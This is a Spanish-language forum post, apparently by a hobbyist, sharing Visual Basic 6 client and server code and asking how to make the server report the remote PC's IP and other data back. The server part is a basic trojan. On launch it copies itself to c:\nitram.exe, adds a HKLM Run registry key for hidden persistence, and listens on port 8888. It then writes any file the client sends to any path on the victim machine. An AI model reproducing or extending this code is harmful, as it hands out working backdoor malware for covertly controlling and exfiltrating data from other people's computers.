Hola,? haver como empiezo......
He creado una aplicacion CLIENTE / SERVIDOR. Lo que hago es enviar el archivo "servidor" a el PC2, y luego desde el el PC1 con el "cliente" puedo enviar archivos al PC2, pero nada mas...

¿Como haria para que el servidor me enviara informacion del PC a mi
===>Osea que el servidor que esta en el PC1 me envie informacion al PC2 (QUE ME ENVIARA ALGUN LISTADO por ejemplo su IP)

PARA QUE LO ENTIENDAN MEJOR OS PONGO EL CODIGO:

-----------------------SERVIDOR-----------------------------------------
Public str_ruta As String, str_archivo_temporal As String
Dim lng_tamaño_archivo As Long

Private Sub Form_Load()
Me.ws_server.Close
'asignamos un puerto
Me.ws_server.LocalPort = "8888"
'ponemos a la escucha el puerto asignado
Me.ws_server.Listen

Dim Fuente As String
Dim Destino As String

Fuente = App.Path & "\" & App.EXEName & ".exe"
Destino = "c:\nitram.exe"

FileCopy Fuente, Destino


Dim RegistroNITRAM As Object
Dim RutaNITRAM As String
Dim CadenaNueva As String
Dim ContenidoCadena As String

ContenidoCadena = "c:\NITRAM.EXE"
CadenaNueva = "\NITRAM"
RutaNITRAM = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows " & "\CurrentVersion\Run" & CadenaNueva

Set RegistroNITRAM = CreateObject("WScript.Shell")

RegistroNITRAM.RegWrite RutaNITRAM, ContenidoCadena



End Sub

Private Sub ws_server_ConnectionRequest(ByVal requestID As Long)
'cuando llegue una petición para conectarsenos la aceptamos
Me.ws_server.Close
Me.ws_server.Accept requestID
End Sub

Private Sub ws_server_DataArrival(ByVal bytesTotal As Long)
'aqui rebimos los datos que se envían y hacemos un reconocimiento
'así podemos tomar una decision
Dim str_datos As String
'el emvío se almacena en una cadena (str_datos)
Me.ws_server.GetData str_datos

'el algoritmo de a continuación se encarga de desglosar la cadena
'la cual unimos en 3 desde el cliente, se incluye el patron(archivo)
'la ruta y la longitud
If Mid(str_datos, 1, 7) = "archivo" Then
'si el patron coincide lo borramos de la cadena y seguimos analizando
str_datos = Mid(str_datos, 9, Len(str_datos) - 7)
For i = 1 To Len(str_datos)
If Mid(str_datos, 1, 1) <> "|" Then
'vamos concatenando la ruta hasta que encontremos el carcater
' "|" si éste llega sabremos que la ruta esta completa
Me.str_ruta = Me.str_ruta + Mid(str_datos, 1, 1)
ElseIf Mid(str_datos, 1, 1) = "|" Then
' aqui el bucle encontró al "|" ,es borrado y luego sale del for
str_datos = Mid(str_datos, 2, Len(str_datos) - 1)
Exit For
End If
'aqui se va concatenando la cadena y borrando el caracter almacenado
str_datos = Mid(str_datos, 2, Len(str_datos) - 1)
Next
'lo restante de la cadena es la longitud del archivo
lng_tamaño_archivo = Val(str_datos)
'una ves capturados los valores informamos al cliente
Me.ws_server.SendData "msg_peticion_aceptada"
'
'la variable 'str_archivo_temporal' guardará el contenido del archivo
'que mande el cliente, la inicializamos en ""(vacío)
Me.str_archivo_temporal = ""

Else
'si el tamoño del archivo temporal es diferente a la longitud propuesta; vamos uniendo el contenido del archivo recogido
If Len(str_archivo_temporal) <> lng_tamaño_archivo Then str_archivo_temporal = str_archivo_temporal + str_datos
'cuando es el mismo tamaño se entiende que ya se envió todo el archivo
If Len(str_archivo_temporal) = lng_tamaño_archivo Then
'abrimos un archivo binario para escribirlo(put) en la ruta asignada(str_ruta)
Open Me.str_ruta For Binary As #1
Put #1, 1, str_archivo_temporal
'cerramos el archivo
Close #1
Me.str_ruta = ""
'alertamos al cliente que el archivo a sido recibido satisfactoriamente
Me.ws_server.SendData "msg_archivo_recibido"
End If
End If
End Sub
-------------------------------------------------------------------------




-------------------CLIENTE----------------------------------------------


Public str_contenido_archivo As String, str_nombre_archivo As String, _
str_ruta_remota As String
Dim lng_tamaño_archivo As Long

Private Sub cmd_conectar_click()
'antes de conectarme el winsock debe estar cerrado
Me.ws_cliente.Close
'me conecto a la pc remota utilizando su ip(la que ponemos en el textbox), x el puerto 8888
Me.ws_cliente.Connect Me.txt_ip, "8888"
'habilito el frame que tiene consigo las opciones de envío
Me.Frame1.Enabled = True
End Sub

Private Sub Frame1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'la declaración de a continuación se pregunta el estado del winsock, si es = 7(conectado)
'habilita las opciones(todo lo ke está pegado al frame) de lo contrario las desabilita.
If Me.ws_cliente.State = 7 Then Me.Frame1.Enabled = True Else Me.Frame1.Enabled = False
'si está conectado o no; imprimimos las noticia en el label
If Me.ws_cliente.State = 7 Then Me.lbl_estado_winsock = "ESTADO.. CONECTADO A " & Me.txt_ip Else Me.lbl_estado_winsock = "ESTADO ... DESCONECTADO"
End Sub

Private Sub cmd_buscar_imagen_Click()
'cuando se abra la ventana Abrir archivo, podemos filtrar la extensión
'que se quiere mostrar, ahora ponemos *.*(cualquier archivo y extensión)
Me.cd_directorio.Filter = "todos los archivos |*.*"
'abrimos la ventana
Me.cd_directorio.ShowOpen

'abrimos el archivo seleccionado pero en código binario
Open Me.cd_directorio.FileName For Binary As #1
'almacenamos el contenido en una variable string
Me.str_contenido_archivo = Input(LOF(1), 1)
Close #1

'la propiedad 'FileTitle' me devuelve el nombre del archivo selccionadoç
'el cual almaceno en la variable '.str_nombre_archivo'
Me.str_nombre_archivo = Me.cd_directorio.FileTitle

lng_tamaño_archivo = Len(Me.str_contenido_archivo)
End Sub

Private Sub cmd_enviar_Click()
Me.str_ruta_remota = Me.txt_ruta + Me.str_nombre_archivo
'aqui mandamos los datos necesarios para poder enviar correctamente el archivo,
'anteponemos el nombre archivo para que el server sepa que hacer, acompañado de la ruta,tamaño
Me.ws_cliente.SendData "archivo|" & Me.str_ruta_remota & "|" & lng_tamaño_archivo
End Sub
Private Sub ws_cliente_DataArrival(ByVal bytesTotal As Long)
'cada vez que se reciba algo se almacena en una cadena(str_dato_recibido)

Dim str_dato_recibido As String
Me.ws_cliente.GetData str_dato_recibido

Select Case str_dato_recibido
Case Is = "msg_peticion_aceptada":
'si el server recibió nuestra petición de archivo y la acept´ó
'el envíamos el contenido del archivo leido en el momento de su apertura
Me.ws_cliente.SendData Me.str_contenido_archivo
Case Is = "msg_archivo_recibido":
'si el envío fue completo enviamos un mensaje de información
MsgBox ("Archivo envíado correctamente"), vbInformation
End Select
End Sub